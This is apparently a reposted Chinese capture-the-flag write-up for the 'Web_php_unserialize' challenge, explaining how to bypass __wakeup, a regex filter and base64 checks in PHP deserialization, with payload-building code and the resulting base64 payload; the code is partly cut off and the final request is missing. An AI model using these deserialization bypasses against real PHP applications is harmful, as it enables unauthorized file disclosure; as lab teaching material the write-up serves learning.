攻防世界-web-Web_php_unserialize
1. 题目描述:查看以下代码,获取flag
2. 思路分析
从代码中不难看出,这里共有三个地方需要绕过
1 __wakeup函数:若在对象的魔法函数中存在的__wakeup方法,那么之后再调用 unserilize() 方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,因此这里调大对象属性的个数即可。
2 base64编码:这个简单,进行base64加密即可
3 正则表达式绕过:这里不允许存在O:数字或者o:数组=字的字符,这个网上找资料,在数字前面加上+即可绕过
3. 获取flag
我们先绕过wakeup,将Demo对象序列化后,得到的字符串是这样的:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
根据以上分析,我们将Demo后门的1改为2即可绕过__wakeup函数,O:4改为O:+4即可绕过正则,再进行base64编码即可(这里注意一定要再代码中处理,线上以及一些工具上进行base64和php代码中进行base64获取到的结果不一样)
详细代码如下:
file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }$str = serialize(new Demo("fl4g.php"));// 绕过正则$str = str_replace('O:4', 'O:+4', $str);// 绕过wakeup函数$str = str_replace(':1:', ':2:', $str);// 进行base64编码print(base64_encode($str));?>
执行以上代码,得到可以绕过的字符串为:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
再构造如下请求即可获取到flag:
总结:较为综合的一道题,考察多个绕过点,包括wakeup,正则,以及base64加密。
来源地址:https://blog.csdn.net/wuh2333/article/details/130918392
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341